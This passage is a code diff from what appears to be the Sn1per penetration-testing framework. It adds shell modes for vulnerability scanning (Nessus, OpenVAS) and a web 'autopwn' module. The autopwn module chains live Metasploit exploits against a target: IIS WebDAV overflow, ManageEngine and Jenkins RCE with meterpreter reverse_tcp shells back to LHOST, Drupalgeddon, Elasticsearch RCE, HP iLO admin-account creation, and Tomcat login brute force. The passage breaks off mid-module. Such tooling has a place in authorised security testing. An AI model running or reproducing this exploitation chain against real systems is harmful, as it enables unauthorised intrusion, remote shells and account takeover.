+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo -e ""
+  echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+  rm -f $LOOT_DIR/scans/running_${TARGET}_stealth.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
+  sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
+  
+  if [[ "$LOOT" = "1" ]]; then
+    loot
+  fi
+  exit
+fi

modes/vulnscan.sh

@@ -0,0 +1,134 @@
+# FULLPORTONLY MODE
+if [[ "$MODE" = "vulnscan" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    args="-t $TARGET"
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/domains 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+    fi
+    args="$args --noreport -m vulnscan" 
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-vulnscan.txt
+    sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+  logo
+
+  echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi  
+  echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
+  echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  if [[ "$NESSUS" = "1" ]]; then
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING NESSUS VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    bash /usr/share/sniper/bin/nessus.sh $TARGET $NESSUS_KEY $NESSUS_HOST $NESSUS_USERNAME $NESSUS_PASSWORD $NESSUS_POLICY_ID $LOOT_DIR
+  fi
+  if [[ "$OPENVAS" = "1" ]]; then
+    sudo openvas-start 2> /dev/null > /dev/null
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo -e "$OKRED RUNNING OPENVAS VULNERABILITY SCAN $RESET"
+    echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+    echo "Scanning target: $TARGET "
+    echo ""
+    echo "-----------------------------------------------"
+    echo "Listing OpenVAS version..."
+    echo "-----------------------------------------------"
+    omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -O
+    echo ""
+    echo "Listing OpenVAS targets..."
+    echo "-----------------------------------------------"
+    omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -T
+    echo ""
+    echo "Listing OpenVAS tasks..."
+    echo "-----------------------------------------------"
+    omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G
+    echo ""
+    echo "Creating scan task..."
+    echo "-----------------------------------------------"
+    ASSET_ID=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml="<create_target><name>$TARGET</name><hosts>$TARGET</hosts></create_target>" | xmlstarlet sel -t -v /create_target_response/@id) && echo "ASSET_ID: $ASSET_ID"
+    if [[ "$ASSET_ID" == "" ]]; then
+      ASSET_ID_ERROR=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml="<create_target><name>$TARGET</name><hosts>$TARGET</hosts></create_target>")
+      if [[ "$ASSET_ID_ERROR" == *"Target exists already"* ]]; then
+        ASSET_ID=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -T | grep " $TARGET" | awk '{print $1}')
+        echo "ASSET_ID: $ASSET_ID"
+      fi
+    fi
+    TASK_ID=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<create_task><name>$TARGET</name><preferences><preference><scanner_name>source_iface</scanner_name><value>eth0</value></preference></preferences><config id=\"74db13d6-7489-11df-91b9-002264764cea\"/><target id=\"$ASSET_ID\"/></create_task>" | xmlstarlet sel -t -v /create_task_response/@id) && echo "TASK_ID: $TASK_ID"
+    if [[ "TASK_ID" == "" ]]; then
+      omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<create_task><name>$TARGET</name><preferences><preference><scanner_name>source_iface</scanner_name><value>eth0</value></preference></preferences><config id=\"74db13d6-7489-11df-91b9-002264764cea\"/><target id=\"$ASSET_ID\"/></create_task>"
+    fi
+    REPORT_ID=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<start_task task_id=\"$TASK_ID\"/>" | cut -d\> -f3 | cut -d\< -f1) && echo "REPORT_ID: $REPORT_ID"
+    if [[ "$REPORT_ID" == "" ]]; then
+      omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<start_task task_id=\"$TASK_ID\"/>"
+    fi
+    echo ""
+    resp=""
+    while [[ $resp != "Done" && $REPORT_ID != "" ]]
+    do
+      omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TASK_ID
+      resp=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep "$TASK_ID" | awk '{print $2}')
+      sleep 60
+    done
+    if [[ $REPORT_ID != "" ]]; then
+      omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<get_reports report_id=\"$REPORT_ID\" format_id=\"6c248850-1f62-11e1-b082-406186ea4fc5\"/>" | cut -d\> -f3 | cut -d\< -f1 | base64 -d > "$LOOT_DIR/output/openvas-$TARGET.html"
+
+      echo "Report saved to $LOOT_DIR/output/openvas-$TARGET.html"
+      cat $LOOT_DIR/output/openvas-$TARGET.html 2> /dev/null
+    else
+      echo "No report ID found. Listing scan tasks:"
+      omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET
+    fi
+  fi
+  if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
+      echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+      SSL="false"
+      PORT="80"
+      source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+      source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
+      SSL="true"
+      PORT="443"
+      source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
+      source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
+
+      for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
+        source $file
+      done
+
+      source $INSTALL_DIR/modes/sc0pe-network-scan.sh
+  fi
+
+  source $INSTALL_DIR/modes/sc0pe.sh 
+
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo -e "$OKRED SCAN COMPLETE! $RESET"
+  echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+  echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
+  rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
+  ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
+  if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET-udp.txt"
+  fi
+  
+  echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+  if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+    /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+  fi
+  loot
+  exit
+fi

modes/web.sh

@@ -0,0 +1,22 @@
+# WEB MODE #############################################################################################################
+if [[ "$MODE" = "web" ]]; then
+  if [[ "$REPORT" = "1" ]]; then
+    if [[ ! -z "$WORKSPACE" ]]; then
+      args="$args -w $WORKSPACE"
+      LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
+      echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
+      mkdir -p $LOOT_DIR 2> /dev/null
+      mkdir $LOOT_DIR/domains 2> /dev/null
+      mkdir $LOOT_DIR/screenshots 2> /dev/null
+      mkdir $LOOT_DIR/nmap 2> /dev/null
+      mkdir $LOOT_DIR/notes 2> /dev/null
+      mkdir $LOOT_DIR/reports 2> /dev/null
+      mkdir $LOOT_DIR/scans 2> /dev/null
+      mkdir $LOOT_DIR/output 2> /dev/null
+    fi
+    echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
+    echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
+    sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
+    exit
+  fi
+fi

modes/web_autopwn.sh

@@ -0,0 +1,236 @@
+
+      if [[ "$MSF_LEGACY_WEB_EXPLOITS" == "1" ]]; then
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING JBOSS VULN SCANNER $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/jboss_vulnscan; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING HTTP PUT UPLOAD SCANNER $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/http_put; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set PATH /uploads/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; use scanner/http/webdav_website_content; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING MICROSOFT IIS WEBDAV ScStoragePathFromUrl OVERFLOW $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING MANAGEENGINE DESKTOP CENTRAL RCE EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/windows/http/manageengine_connectionid_write; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; set PAYLOAD windows/meterpreter/reverse_tcp; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE TOMCAT ENUMERATION $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/tomcat_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE TOMCAT MANAGER LOGIN BRUTEFORCE $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING JENKINS ENUMERATION $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/jenkins_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set TARGETURI /; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING JENKINS SCRIPT CONSOLE RCE EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use multi/http/jenkins_script_console; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; setg SSL "$SSL"; set TARGET 0; run; set TARGETURI /; run; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set TARGET 1; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGET 2; set PAYLOAD linux/x64/meterpreter/reverse_tcp; run; set PAYLOAD linux/x86/meterpreter/reverse_tcp; run; set TARGETURI /; run; set TARGET 1; run; set TARGET 2; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_script_console.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_utf8_traversal.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;"  | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-apache_optionsbleed.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;"  | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-hp_ilo_create_admin_account.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING ELASTICSEARCH DYNAMIC SCRIPT JAVA INJECTION EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/elasticsearch/script_mvel_rce; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;"  | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-script_mvel_rce.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING DRUPALGEDDON HTTP PARAMETER SQL INJECTION CVE-2014-3704 $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; setg URI /drupal/; setg TARGETURI /drupal/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-drupal_drupageddon.raw 2> /dev/null
+            #echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            #echo -e "$OKRED RUNNING MS15-034 HTTP.SYS MEMORY LEAK EXPLOIT $RESET"
+            #echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            #msfconsole -q -x "use scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw
+            #sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.txt 2> /dev/null
+            #rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-ms15_034_http_sys_memory_dump.raw 2> /dev/null
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING GLASSFISH ADMIN TRAVERSAL EXPLOIT $RESET"
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            msfconsole -q -x "use scanner/http/glassfish_traversal; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw
+            sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.txt 2> /dev/null
+            rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-glassfish_traversal.raw 2> /dev/null        
+            echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
+            echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET"
